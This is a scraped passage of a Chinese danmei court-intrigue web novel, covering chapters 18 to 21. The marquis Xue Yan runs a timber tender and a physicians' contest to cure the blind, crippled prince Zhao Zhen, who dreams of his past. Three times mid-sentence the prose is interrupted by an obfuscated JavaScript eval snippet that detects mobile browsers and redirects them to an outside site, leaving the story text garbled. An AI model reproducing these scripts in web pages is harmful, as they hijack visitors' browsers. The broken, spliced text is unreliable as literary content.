嘉平帝是一个很复杂的帝王,他偏袒太子深爱太子,他愿意把皇位传为太子,但不允许太子觊觎他的龙椅。 他没打算让其他皇子染指皇位,但又会故意给他们希望,养蛊似得让大皇子等人去争,让他们做太子的磨刀石,又不允许他们真的威胁到自己的统治。 所以薛俨和已经“残废”的赵禛就可以成为其中微妙的平衡,制衡大皇子,磨练太子。 而至此,薛俨便算在朝中站住了脚。六部的人碍于他的处事风格和皇帝的偏袒,往后想找事也得掂量一下。 薛俨的事了了,王进又被人原样抬了回去,他那一身伤算是白挨了,连个水花都没有。 薛俨退回百官之列。 此时真正的纷争才终于开始。 大皇子的人最先发力,今天的正菜逐个粉墨登场,出列的人是户部尚书王汉昌,妥妥的大皇子党。 “陛下,臣有本奏,月中时顺天府衙门修缮,竟闹出了两条人命,而顺天府得知后不仅没有安抚,甚至还刻意隐藏打压此事,臣心中不忿,本欲救济死者亲属,却意外发现皇商盛天木材厂偷梁换柱、暗度陈仓的罪证。” 他说罢掏出一本账册,“此账册乃是死者的亲眷提供,里面记录了木材厂和工部勾结,使用坏掉的梁木充作上好木料,而这一坏一修,拨下的修缮银两尽数被他们分刮,不过是区区半年,其赃款竟高达十万两白银。” 户部尚书越说越悲愤。 很快又一人怒斥道:“工部掌土木水利工程,前有崔氏害得澶州四县水灾,今又有你徐静借工部之利捞银,真乃我朝蠹虫……” 甚至还有看热闹不嫌事大的,“难怪顺天府衙门去年修、今年修,原来用的都是蛀虫的木。” 工部和顺天府被人拉扯出来,太子党自然不甘示弱。 工部尚书徐静道:“陛下,臣不知道王尚书是从何而来的账本,又是如何作假诬陷于臣,顺天木材厂自半年前引为皇商后一直兢兢业业,工部与之合作不过是因为其价廉物美,所用木料皆是上等之材。臣问心无愧,王尚书若是不信,可遣人去查,工部不怕、顺天府不怕、盛天木材厂亦不怕。” 两派之争久已,借此又吵了起来。 薛俨站在后面默默闭上眼睛补觉,两耳不闻窗边事。一个小小的盛天木材厂,就算真查出什么罪证也动摇不了太子半分,他们只会把木材厂推出去顶锅,自己则顶多背个失职之罪。 而且现在的情况是大皇子掌握了工部勾结木材厂的账本,太子估计也早就修改了账本。 俗话说最了解你的人是你的对手,在他们发现那个卖给他们账本的女孩消失于皇城时,双方就已经知道他们的对手也拿到了这个账本,薛俨敢脚踏两只船也是因此缘故。 剩下的就看谁更技高一筹,谁能把对方扯下来一块肉了,他不过是一个导火的引子。 薛俨闭目沉思,顺天木材厂背后的老板是一个很有名的商人,这个商人曾在澶州水淹四县后用极其低廉的价格买下数亩良田,澶州的事他肯定知道不少。 而就在薛俨摸鱼的空档,两方不知道哪一茬说的不对竟当庭打起来了,整个太极殿一片乌烟瘴气,薛俨来不及震惊,就有人趁乱给他后脑勺来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蓝瞳不解道:“您要再给邓侍郎送一份大礼吗?” 赵禛笑道:“不,我替我夫向他致歉。” 赵禛写完信,外头松烟便进来了,说是裁缝店的老板娘过来送做好的衣服,几个穿着裁缝店服饰的小子抬进来一个架子。 蓝瞳的嘴巴越张越大。 只见那架子上挂得衣裳琳琅满目,但无一不是色彩绚烂、品相华贵之物,锦缎丝绸上坠着的饰物在金光照下泛着流光溢彩的光芒,甚至于领口的一颗绿松石都足够价格不菲。 赵禛指肚摸了摸便知布料品相都是最好的,他指背略过,那架子上约莫七八件成袍,质感、刺绣、样式、薄厚均不相同。 蓝瞳讶道:“侯爷怎么做了这么多衣裳?” 松烟笑道:“那当然,侯爷心疼夫人,先前那几件不过是仓促间临时做的,这些才是慢工细活出来的精品,夫人要不要试一试?” 蓝瞳摇头,“不行不行,这么多衣服都试下来殿下身体会累的。” 松烟想了想,“也是,要不我们就先挂起来,往后再慢慢穿,这些样式尺码都是侯爷亲自看过的,穿着肯定是合适的。” 赵禛指腹碾过某间衣裳袖口处的三片青竹刺绣,“他为什么要给我做这么多衣裳?我又看不见,穿成什么样的都是徒劳。” 还有园子里种的很多花,甚至有些摆置都是仿照曾经的崔尚书府做的,他眼睛看不见,这些都是蓝瞳告诉他的。 松烟郑重道:“因为爱。” 赵禛:? 松烟:“侯爷最爱夫人了,您可是他亲自求娶回来的,所以举全府之力,也要哄您高兴。” 赵禛心神一怔。 薛俨他……确实一直在想法设法地哄自己高兴。 赵禛顿了顿,又想起什么,“那,云姨娘呢?” 19. 第 19 章 云姨娘? 松烟心中警铃大作,夫人果然还是记挂着上次侯爷一回府就往云姨娘院子里跑的事儿。 “侯爷当然是更爱您一些,侯爷和云姨娘不过是举案齐眉、相敬如宾,平日里连个玩笑话都很少,但和夫人便不一样了。我和侯爷自幼一同长大,自然看得出他在夫人跟前时更轻松肆意些。” 那当然是因为夫人眼睛看不见,侯爷就算衣衫不整,进门就宽衣脱鞋、衣裳到处乱扔,也没人看得见。 “是么?”赵禛语气平静无波。 “当然,而且在侯爷心里想必也只是把云娘当妹妹来看的。” “这事怎么说?”赵禛来了兴趣。 松烟缓而笑道:“这事说来话长。” 赵禛点点头,就当松烟舒了一口气,以为他要结束这该死的对话时,赵禛却突然一抬手,唤了声“蓝瞳。” 那小太监年纪虽小,但做事相当麻利,一个箭步过去将门插上,又将松烟按在桌子前坐下,熟练地给他倒了一杯茶、添了一碟点心,大有一副要畅谈许久的架势。 赵禛笑道:“天色尚早,你可以慢慢讲。” 松烟恨不得把自己乱说话的嘴缝上,但现在骑虎难下,这位又不是好蒙骗的主儿。 “侯爷是顶好的人,侯府里像我们这样的,我、苏恒、瑞儿等等,要么是侯爷和老侯爷从战场捡回来的孤儿,要么是战死的将士留下的遗孤,侯爷怕我们在外头活不下去,就把我们都接了回来,又给了我们差事、月俸……” 赵禛指节轻叩桌面,“你偏题了。” 松烟讪笑一声,“云娘本是老侯爷副将的女儿,她父亲死后,叔伯不是东西,想把她卖到窑子里去,侯爷知道这事后,帮她讨回了家产,但云娘一介孤女,就算是讨的回来也守不住。侯爷便将她接了回来,想结做兄妹,往后再给她寻一门好的亲事,但这事出了点岔子。” “侯爷这些年后院里也没个女人,他又是家里的独苗苗,老太君心急,好不容易等到他带了个女人回来,以为是心上人,二话不说,就找上了门。” “咱们侯爷长得那是相貌堂堂、仪表不凡,又有爵位承袭,脾性品性无一不好,谁嫁进来谁享福……” 已经享到福的赵禛沉默了一会儿。 松烟继续道:“像侯爷这么好的人,莫说是云娘,我要是个女人我都想嫁给他,所以老太君问云娘愿不愿意做偏房时,云娘想都没想就答应了,这事儿阴差阳错就闹成这样了。” 他说完生怕赵禛不高兴,又补了句,“但夫人不同,夫人可是侯爷不惜拿军功换回来的,他求婚那天,谁也没说,等圣旨到了,老太君接了旨意才知道他干了件这么惊天地泣鬼神的大事,气得拿龙头杖打了他好几下。” 赵禛指节蜷了蜷,“他还挨打了?” 松烟:“是啊,在祠堂跪了一晚上呢,后来也不知道是怎么劝服了老太君,反正圣旨也到了,板上钉钉的事谁也改变不了。” 如果不是赵禛提早知道薛俨只是为了表兄的临终托付才做出这一切,可能他也会觉得薛俨是真的爱他。 他是沾了表兄的光。 * 有了薛俨在朝上闹得那一出,剩下的几乎不需要他去上门要债,那些人自觉得就把东西还回来了。 外债没了,但内里的亏空还是不少,薛俨看着账本,一个头两个大,比如有时候修缮驿站超出了预算,超的银子批不下来,就只能拆东墙补西墙,补来补去,越发乱糟。 “你们就这样补来补去?填的完吗?” 下面孟文山笑道:“先前外债太多,肯定补不回来,但现在有侯爷把外债收回来,内里的亏空肯定就能填上了。” 薛俨眉梢轻挑,“怎么填?” 孟文山神神秘秘凑过去,“驾部司掌管仓库,有好些是空的,下官就把这些仓库租出去了,每个月能有些许进账填补亏空。” 薛俨瞳孔一颤,“你把朝廷的仓库租出去了?这事儿其他人知道吗?” 孟文山叹道:“侯爷有所不知,朝廷给的俸禄低,户部又卡着银子层层批阅,难啊!我们也是没办法,这才想着从旁的地方挣些银子回来。” “就比方说那批木材,虽然银子回来了,但买木材、造车,哪样都要钱,商人给出的价格又高,咱们又要货比三家,一套流程下来耗时耗钱。” 孟文山说的那批木材指的是薛俨从五皇子的小舅子手里要回来的,原本是要给驿站增加车辆用的,现在虽然银子到手,但是又要重新选用合适的木材。 顺天木材厂有前科在,他们肯定是不会再用了,而其他的木材厂生意小,价格高,给不出那么优惠的价格。 薛俨想了想,冒出一个好主意,“或许,你知道啥叫招标吗?” 孟文山一愣。 薛俨唇角轻勾,没有再跟孟文山解释,所谓招标主要是现代央国企进行采购、承包最常用的手段,邀请合适的木材商参与进来,通过让他们竞争,把价格压下来,最后选择价格最优惠的厂家。 薛俨咬着笔杆,洋洋洒洒写了一篇公告,最后又盖上自己的官印。 “你带着这份文书,把京中合适的厂家全部跑一遍,让他们也提供一份文书出来,内容包括木材种类、价格、完成期限、过往的建造图纸等等,使用火漆封存交上来,三天后,我要公开招标。” 下值后,薛俨急急忙忙赶回侯府,今日招标的事给了他灵感,他可以用招标汇聚京中的木材商人,就可以用类似的办法,召集天下所有的名医来给赵禛看腿。 “宣卿,宣卿,我想到了一个好办法,宣卿,你今日感觉如何?” 薛俨风风火火赶回院子,赵禛正坐着轮椅在池塘边钓鱼,腿上盖着毯子,手上的鱼竿静静垂落,脚下放着鱼笼和鱼食,左右仆从簇拥。 赵禛听到声音,唇角扬起一个笑,晚霞映光的脸庞微微抬起,“哥哥,你回来了?” 好乖! 薛俨被他的笑恍了一脸。 薛俨掀袍蹲在赵禛面前,“我有一个办法,可以瞒着宫里,把天下名医汇聚到京城。” 这段时间宫里的太医会时不时过来看一下赵禛的病情,好在他虽一日日恢复元气,但眼睛和腿疾始终没有治愈,那些太医来的次数也逐渐少了起来。 皇帝不想让赵禛好起来,太子和大皇子也肯定在暗中派人观察着侯府的情况,他要广招名医,就必须使用别的名头,还不能惊动他们。 “松烟,你去库房里把我母亲留下来的那半卷医书取来。” 很快,钱孙李三位大夫也赶来池塘边,薛俨正捧着那半卷医书翻看。 他将医书合上,推了过去,“你们觉得它的价值如何?我打算举办一场名医大赛,诚邀天下名医参加,第二名和第三名的奖励便选用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338491|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金银或名贵药材,至于第一名的获胜者就用它……” 三位大夫茫然地翻开第一页,等再往后看去眼冒精光,翻页的手指都在抖动,三人对视一眼,俱是看到了对方眼中的狂热,想再往后翻去,却发现已经到了最后一页。 “这……这不会是《青囊书》的残卷吧?传为东汉华佗所著,临终前托付给狱卒传承,早已失传已久,侯爷怎么会有这个?”钱大夫说话的声音都在打颤。 薛俨没有回答这个问题,“那你们觉得它是否足以引诱天下名医来参加我的比赛?” “当然!”孙大夫满脸激动,“凡医者,谁不想看一眼青囊书,虽只是残卷,但足够他们跋山涉水,拼尽所学。” “不错,真的是青囊书,这般珍贵之物,侯爷舍得拿它做参赛之品?” 李大夫有些不解。谁若是得了这等宝贝,恨不得藏着掖着,竟有人愿意公之于众? 薛俨道:“我要你们找相熟的医馆,以医馆的名义举办比赛,并放出青囊书的消息,至于参赛的题目你们来出,要和宣卿有关,但又不能让宫里的人看出来是我想为宣卿治疾。” “侯爷!”松烟惊呼一声,劝道:“这可是先夫人留下来唯一的东西,您真的要送人吗?” 赵禛下意识攥了攥腿上的衣物,事已至此,他大概也能猜到薛俨的意图。 薛俨要用《青囊书》引来天下医者,等有人获胜,再以出资人的身份相邀,那人看在青囊书的份上,也一定会尽心尽力为他医治双腿。 《青囊书》失传已久,称得上是天下奇书,而且还是薛俨的母亲留下来的遗物,竟不惜拿出来,只为了救他的一双腿么? 赵禛用指甲掐着掌心的肉,轻微的刺痛让他有一种落地的真实感,他一介废人,何德何能值得人耗费这样的心力?举全国名医来救治他,如果还是治不好的话…… 他心里乱七八糟的想着,指甲却越掐越狠,突然盖过来一只温热的手,拨开了他的动作,他错愕地感受着手背上的温热。 却听到薛俨道:“我非医者,青囊书于我不过是一本普通的书,如果他流传于世能救治更多的人,也算是物尽其用。三老闲暇时帮我重新抄录一份吧,毕竟是我母亲留下的东西,胜出者赠予他手抄本便可。” 等送走三位大夫,薛俨才摊开赵禛的手掌心,用指肚帮他揉了揉,“都掐红了,怎么能掐自己呢?你要是喜欢掐人,我把晋阳宫那几个奴才放出来给你掐着玩儿。” 赵禛的手指已经不似从前那般瘦弱,但依旧苍白到像是透明的,连青筋血管都瞧得清清楚楚,脉络分明。 赵禛任由他拂过掌心的掐痕,“侯爷,你不必为了我将生母的遗物也拱手让人。” 九城军功求娶,万千金银养护,青囊传书换医,只是为了一个形同废人的他? 薛俨却是握着他的手郑重其事道:“我只是把手抄本放出去而已,母亲的遗物仍在我手中。你不用担心这些,我一定会照顾好你的。” 赵禛扯出一个难看的笑,“因为表兄的临终托付?” 薛俨愣了愣,“算是吧。” 赵禛不动声色地将手抽出来,转着轮椅想走,他问出这种话来就是在自取其辱,他和薛俨又没什么交情,不过是幼时相处过几日罢了。 若非表兄,薛俨何必冒着生命危险来求娶他呢?得罪了皇帝、也得罪了大皇子和太子。 20. 第 20 章 “宣卿……”薛俨见他不高兴,按住他的轮椅又将人拽回来。 “也不全是因为你表兄,以前我们不是相处得也很好吗?我父亲只有我一个孩子,我一直拿你当亲弟弟的,你小时候我最喜欢你了。” 他说着又笑嘻嘻地想去捏赵禛的脸,从前那会儿崔家如日中天,朝堂党争也没有那般激烈,赵禛虽然时常板着脸,但到底是过得很好,也有很多人的宠爱。 反看现在,脸颊没什么肉,一见风就咳嗽,病恹恹的样子瞧着让人心疼。 “弟弟……”赵禛唇边反复碾磨这两个字眼。原来,他和云娘的处境是一样的,甚至他还不如云娘。 在最低谷的时候阴差阳错的嫁给了一个人,在他日复一日的怜惜中生了点不该有了心思,却发现只是濒死之徒的一场幻梦,顷刻间便烟消云散。 “哥哥……”赵禛忽然仰起脸,摸索着想去抓他,薛俨先一步握住了他的手。 “我坐着有些累了,可以抱我回屋吗?”他露出一个甜甜的笑,端得是人畜无害。 薛俨原本还担心赵禛因为自己刚才的说辞而不高兴,这会儿见他主动凑过来欢喜极了,长臂往下一捞,将他抱了起来。 赵禛熟练地环住薛俨的脖子,等俩人进了屋,薛俨将人放在小榻上,又给他在后背塞了两个软枕,让他可以靠得舒服些。 “哥哥,回宫那天,顺天府门前的遇见的事,是我安排的。”赵禛有些懊悔。薛俨真心待他,他竟做出那种利用人的事来。 薛俨轻轻嗯了一声。 “你不怪我利用你吗?” 薛俨笑道:“那算不得什么,我早就知道了,否则怎么会那么巧碰上。” 那天的事或许巧合,太轻易就牵扯出了盛天木材厂账本的事,他便差人暗中查过,但什么都没查到。 他也猜测过背后的人,猜来猜去最后却猜到了赵禛身上。 百足之虫死而不僵,赵禛不过才倒台半年多,不至于半点人手不剩,他平时困在晋阳宫可能无法联系到外界,可一旦他从晋阳宫出来,就如同万物复苏,绿草萌芽。 “说到这个,今天早朝的时候大皇子和太子两边的人吵得可激烈了,吵着吵着就打起来了,邓儒那老头还趁乱敲了我一脑瓜子。” 赵禛弯唇笑笑,“你习惯就好了,王汉昌和徐静是多年的死对头,又分属不同党派,自然激烈。” 薛俨把朝上发生的事又跟赵禛说了一通,刻意掩去了他胡作非为的那一段,赵禛听出了他的刻意,想到邓儒骂了数页的信纸,忍不住弯了弯唇角。 赵禛听完分析道:“盛天木材厂应当是保不住了,他背后的商人名唤梁三千,这几年给太子和工部赚了不少钱,大皇子早就盯上他了。” “澶州发水,梁三千趁乱以低价买下不少良田,包括钦天监看中的那块风水宝地,被他无偿捐给了朝廷。” 薛俨道:“当年的事他肯定知道不少,但此人生性狡诈,又有太子护着,恐怕很难动他。” 赵禛笑笑,“我朝商人地位低贱,他坐拥那么大的家产,就连皇帝也眼红呢。” 薛俨不解道:“可是我听说他每年都会给朝中捐一大笔的银子,陛下会想动他吗?” 赵禛道:“他捐的钱太多,太招摇,导致民间百姓只知梁三千,不知有皇帝,这就是所谓是功高震主,他现在还能活着,就是因为陛下还需要这个钱袋子,等哪一天看他不顺眼了,一个[商人乱政]的罪名就能剿灭全族。” 薛俨倒吸一口冷气。 党争权谋,恐怖如斯。 赵禛:“哥哥,要不要和我打个赌,你猜猜这个案子最终的结果会是什么?” 薛俨好奇道:“赌什么?” 赵禛:“我就猜这件事最后顺天府出一个人顶罪,木材厂查封倒闭,梁三千捐出大半家产充归国库,而顺天府的倒霉蛋我就赌他是治中袁春贵。如果我猜对了,哥哥就要答应我一件事。” 他弯弯唇角,像是想到了什么有趣的事情,看起来很是开心。 薛俨难得见赵禛这般鲜活的模样,一口应下,“好,你想让我答应什么?” 赵禛笑道:“以后再告诉你。” 薛俨有些无奈。 崔少钦是一个谦谦有礼的君子,他这表弟却像个披着兔子皮的狐狸。 * “母妃,母妃……” 年幼的赵禛跟在明黄宫装的美妇人身后跑着,那妇人笑着朝他招手,“宣卿,快到母妃这里来。” “母妃,母妃……” “宣卿,你要好好读书,这样你父皇才会来看我们一眼。” “宣卿,已经过了八百二十一天,你父皇怎么还不来呢?” “宣卿,这次的书考你一定能拿第一对不对?” “宣卿,母妃只有你了。” 妇人的样貌已经模糊不清,像是一团光晕,在漆黑深洞似得空间里格外刺眼。只是不等赵禛跑过去,她的身影便随着一阵风消散。 头顶白花花的纸钱飘飘洒洒而落,火盆里的灰沫浮于上空,赵禛跪在地板上,脸上的泪痕早已干涸,瞳孔内映出面前横卧的棺材。 画面再次一转,那是皇宫书院的学堂,众多皇子皆是在此读书,书考过后放榜,赵禛又是第一,他拿着新写的策论小跑到屏风后的帝王身侧。 帝王只是轻飘飘地看了他一眼,转头又开始训斥太子,即便太子的文章写得一团糟,他也会耐心地教导,又嘱托太傅私下开小灶,随后牵了太子的手略过赵禛。 太子回头,朝赵禛得意地挑了挑眉毛,好似在说:你书考第一又如何?父皇照样不会多看你一眼。 画面继续转动,母妃病逝后,父皇便更不在意他这个儿子,他在宫中备受冷眼,便是御膳房的宫女太监都能踩他两脚。 舅舅崔尚书看不下去了,借着思念胞妹的由头,将他接出了吃人的皇宫,他在崔府小住了几日。 遇见薛俨的那天是桃花三月,他坐在树下看书,他想着再努力一点,是不是父皇就能多看他两眼? 那少年是个混不吝,第一次见面就没礼貌地将他抱了起来,听说他是表兄的朋友,临淄侯的独子薛俨,最近随父回京述职小住一阵。 薛俨和表兄是很要好的朋友,他常来,他们约着打马球,纵马赏花踏青,薛俨也常厚着脸皮凑到他跟前。 “宣卿,你要不要跟我们一同出去玩?” “不去。” “去嘛去嘛,你常看书,多无聊,还会得近视眼。” “不去。” 他并不喜欢那个少年,其实更多的是嫉妒,他在薛俨身上看到了太子的影子,太子不学无术,父皇却依旧偏爱于他,薛俨同样不学无术,可他也有一个爱他如命的父亲。 “薛俨,你是独子,即便你不成器,你的父亲依旧会爱重你,但我跟你不一样,我的父亲有十几个儿子,二十多个女儿。” 他希望薛俨不要再打扰他看书了。 那少年却是捧着脸,又歪头凑到他跟前,眨了眨眼,“你好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338492|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在骂我!” 桃花落在了少年肩头。 皇子不能在崔府常住,会有结党营私的嫌疑,半个月后他便被接回皇宫,他在宫里无人在意的角落里长大,直到十四岁彻底进入朝堂,那时他才知道自己想要什么了。 他所贪慕的根本不是什么所谓的父爱,不过是因为依赖那个人生存的迫不得已,而他需要的只是那个人手中的权利罢了。 画面再一转,太极殿上奏折劈头盖脸地朝他扔来,随之而来的还有帝王的怒火。 “你想改革,你要把天捅出来个窟窿吗?” “来人,六皇子殿前失仪 ,杖责五十。” 画面继续跳转,他躺在床上发着烧热。 外头蓝瞳连滚带爬地进来,“殿下,出大事了,澶州发大水,有人上奏说是工部修的堤坝偷工减料,陛下判了崔家满门抄斩。” 趁他患病的时段,五个皇子联手将他彻底清算出去,他躺在晋阳宫,动用仅剩下的关系网想要联系西北的表兄。 “殿下,西北传来急报,崔将军殁了,陛下念其英勇杀敌,准了尸骨还乡。” 冬天好冷。 棉被硬得石头一样。 饭食是馊的。 衣裳是破的。 他可能活不过这个冬天了…… 什么千秋功业,王侯将相,天底下只有一种成王败寇。 “宣卿,宣卿。” “宣卿……” 有人一直在喊他的名字,赵禛已经分不清现在是哪儿,他是在晋阳宫等死,还是在……临淄侯府,到底哪个才是梦? 薛俨,那个他看不上的纨绔,硬是打破了晋阳宫的门,将他捞了出来,像是春日里的太阳,照得人暖洋洋的。 好暖—— “宣卿!” 有人一直在摇晃他的身体。 赵禛猛地清醒过来,他被人抱在怀里,苦臭的汤药往他嘴里灌,他咬了咬舌尖,很疼,不是梦。 “宣卿?你怎么样了?” 薛俨抱着他,用喂药器将汤药灌下去。 他原是睡得好好的,突然松烟把他摇醒了,说是宣卿入了梦魇,一直在呢喃着什么,他连外衣都没顾得披就赶了过来。 “哥哥……”赵禛呢喃一声,反手搂住了薛俨的脖子,将头埋在他脖颈间,滚烫的眼泪滑进薛俨衣襟。 “宣卿,我在。”薛俨掌心抚着他的后背,散落的青丝在他的脸颊上蹭来蹭去,怪痒的。 “我陪着你。” 薛俨将人放好,侧身在他旁边躺下,赵禛始终抓着他的胳膊,像是怕人偷偷溜走似得。 眼睛不能视物,大脑便格外清醒,不知过了多久,身侧的人传来均匀的呼吸声,赵禛平躺着双目放空。 自幼年母亲故去后,他便再未掉过眼泪,即便是后来随着晋阳宫落锁,所有的一切付之东流,他也并未有过半点伤怀,从他站在朝堂上的那一刻起,他就已经知道了结局,要么活着坐在龙椅上,要么死了尸骨无存。 可今日薛俨不惜耗费千金为他治病,他却又梦见曾经的一切,原本筑起的高墙彻底坍塌。 有人愿意哄他时,他便想多闹一会儿。 这世上他已没什么亲人,有人想踩着他上位,有人想看他尸骨无存,有人和他有些利益纠葛,只有薛俨还会怜他、惜他。 赵禛想着,身侧的人突然翻身打了个滚,一咕噜倒进他怀里,他愣了愣,在黑暗中摸索着将人揽入怀中。 两颗心脏彼此跳动着。 21. 第 21 章 五日后,京城二十几家木材厂全部提交了盖着火漆印的[标书],厚厚的一摞材料堆在桌上像小山一上,堂下坐着男女老少二十几个人,皆是木材厂派过来的负责人。 孟文山跟前竖着一张木架,上面以白纸糊着,左右还背着笔墨砚台。 薛俨朗声道:“诸位,今日的规则很简单,所有的标书都是未曾拆封的,我会当堂拆阅,先看你们的内容是否合乎要求,再看价格,综合评比过后,价格低廉者胜出。” 堂下二十多个负责人皆是手心捏了一把汗,在此之前,薛俨就透露过邀请名单,有大型木材厂,也有新成立的木材厂,不看规格,只看能力和价格。 “孟员外,我念一家,你记一家。” 薛俨拆开第一家木材厂的文书,里面详细记载了他们的成立年限,打造过的车辆样式,可选的木材品种,最后报出一个价格。 “永兴木材厂,两千八百两。” 孟文山连忙提笔,在白纸上记下大字。 这个数字一出,底下的有人舒了一口气,有人则是额头急出了一圈汗。 薛俨继续往下翻。 “李氏木材厂,两千九百两。” “云杉木工厂,两千五百八十两。” “云峰木材厂……”他顿了顿,开始详细翻阅文书。 “本官记得你的厂子里只有三十多个工人,你写的工期这么短,真的可以如期完成吗?如果招募新的短工,以你的价格会亏本的吧?还是你想先定下来,回头再拖延工期呢?” 他说罢将云峰木材厂的递来的文书扔到了一边,“弄虚作假,扔出去,杖责五十,永不录用。” “正好当着诸位的面,本官把话说清楚了,这批东西以后是给陛下用的,你们的文书最好不要有任何虚假信息,工期、价格、质量,如果有任何问题,都是九族杀头的罪。” “现在,如果觉得自己文书有问题的,上前来把东西领走,杖责三十,既往不咎,但如果选中后,发现有任何不实信息,定斩不赦。” 薛俨话音一落,果然有人惴惴不安起来,纠结再三,上前取走了文书,且听见外头杖责的惨叫声响起,屋内恢复平静。 薛俨继续拆封,等孟文山列完所有的木材厂家后,价格高低,一览无余。 “今日得中者,云杉木材厂。本官会遣专人和你们对接,希望尔等不要让我失望。” 云杉木材厂的负责人站起来,轻轻地舒了一口气,“多谢侯爷,多谢上官,草民一定会尽心尽力,为陛下打造最好的车辆。” 等送走所有木材厂的负责人后,孟文山才发出尖叫声。 “啊!两千五百八十两,和我们预期的三千一百两,整整少了五百多两银子,这五百两不知道能修多少驿站呢。” 孟文山看着白纸上的数字,整个人激动得手都在颤抖。 那云杉木材厂虽然不及盛天,但规格也不算小,这个价格几乎赚不了银子,甚至还会赔进去一些,对方应该是想借此和朝廷牵线,往后商路肯定四通八达。 “侯爷,您也太有办法了,他们二十多家竞争,为了那个什么中标,价格只会越填越低,咱们省了一大笔银子。” 薛俨也笑道:“是啊,省下来的银子就可以把其他的亏空补上了。” 现在朝野上下都知道他在研究驾部司账目的事,短时间内是不会有人搞事情了,他只要慢慢地将账目填干净,事情就能迎刃而解了。 但他总觉得哪里不对,如果只是因为账目亏空太大,上一任的李郎中也不至于会装疯卖傻,甚至给后来的留下一个“快跑”的字条吧?难道还有别的爆雷在后面等着? 不惜调戏八旬老太、院中裸奔也要逃避的事儿,怎么也得是九族的大罪吧…… 薛俨翻遍了驾部司的卷宗,目前并没找到任何有用的信息,看来他只能去找找那位回乡的李郎中了。 “侯爷,咱们驾部司原先的一位令使突然被远房二大爷找回去继承家产,他辞任不干了,现下来了位新的。” “哦?” 孟文山欲言又止,“额……是工部邓侍郎的公子。” 薛俨眼皮一跳:啥? 果不其然,经过窗边,里头正跟其他令使一起忙忙碌碌的那位身影,可不就是‘千娇百媚’的邓侍郎公子吗? 他今日穿着驾部司令使的官衫,倒是没那么显身材了。 那头的人似乎感觉到一道黏人的视线,对方微微抬头,对上薛俨的那一刻,整个人差点儿跳起来,瞳孔惊颤。 薛俨故意揶揄一笑。 对方吓得几欲先走。 薛俨哈哈大笑,转身离开,邓儒那老头拿笏板敲他脑瓜的仇今日终于得报!父债子偿,天经地义。 但为什么邓侍郎的公子会被安排在他手下做个令使? 薛俨回府后把这事跟赵禛说了,他怀疑这其中有阴谋。 赵禛却轻笑一声,“哥哥,你尽管使唤就是,往后你就可以挟天子以令诸侯了。” 这是他送邓儒的大礼。 邓儒想给儿子找一个合适的差事,但那个笨蛋连秀才都考不上,他就只能想办法安排个合适的小吏,现在党争激烈,笨蛋又很容易被人利用,所以一直寻不到合适的上司。 而赵禛也需要一个邓儒送过来的质子以表诚心。 不过是一个区区令使,连官儿都算不上,朝中人就算知道是在薛俨手下办事,也不会想什么,顶多替这位‘国色天香,千娇百媚’的公子哥默哀吧。 * 接下来的时间,驾部司差不多步上正轨,大皇子党和太子党照旧天天扯头花,薛俨也逐渐在朝堂上站稳跟脚。 一个月后,薛俨举办的名医大赛如火如荼开幕,《青囊书》的问世吸引了全天下的名医,不辞辛苦地往京城奔赴。 太医署的人自然也不会放过这个机会,但在钱孙李三位大夫的刻意安排下,在最终局的前一刻将他们全部淘汰。 天下医者多矣,太医署的人没到决赛,也并不是一件丢脸的事。 时令五月,春风榴火,牡丹放香,薛俨叫人移栽的花木全部开了花,小园几许,收尽夏花,远处假山明媚,池塘内锦鲤游窜。 天气逐渐炎热,府中人的衣裳也都换了夏衫,屋子里头,赵禛端坐在窗前,雕花纹的黄铜镜内露出一张明媚漂亮的脸。 这一个多月,各种名贵药补不要钱似得送进赵禛的肚子里,原本苍白瘦弱的人逐渐养得红润有光泽,毫无气血的脸蛋现在嫩得像是能掐出水来,青丝墨发缎子般柔滑地散在肩头。 就像是一朵枯萎的名花,历经寒冬春光,在夏日里绽放出最好的颜色。 纤长漂亮的指骨摸索着拿起桌角的木梳,连指甲都透着淡淡的粉色。 就当赵禛想束发时,他身后的男人却熟练地接过木梳,指缝穿过青丝,薛俨在耳后给他编了几股麻花用金环红绳系着垂在肩头。 “我爹在的时候常说,这叫长生辫,小孩子编几股头发用红绳系住,就一定能长命百岁,百病不侵。” 赵禛无奈地弯了弯唇角,“哥哥,我已经不是小孩子了。” 他十七岁的年纪,放在寻常人家,已经可以做孩子的爹了。 薛俨揉了揉他的头发,“你还没及冠,就是小孩子。” 十七岁在现代,还是高中生,而他是牛逼的大学生。 赵禛颇为无奈,薛俨他自己也才及冠一岁而已,却在自己这里充作长辈了。 “宣卿,你今天喜欢什么颜色的衣裳?这件石榴红的如何?” 薛俨瞧着衣柜内的各色华服,全部都是他精心挑选的,只等宣卿一件件穿给他看。 “好。” 那衣裳内里是件石榴红暗纹的斜襟,外头罩着件织金白色薄纱大袖,红白交织,相得益彰。 赵禛换上的那一刻,这件衣裳的美感才终于呈现出来,他虽 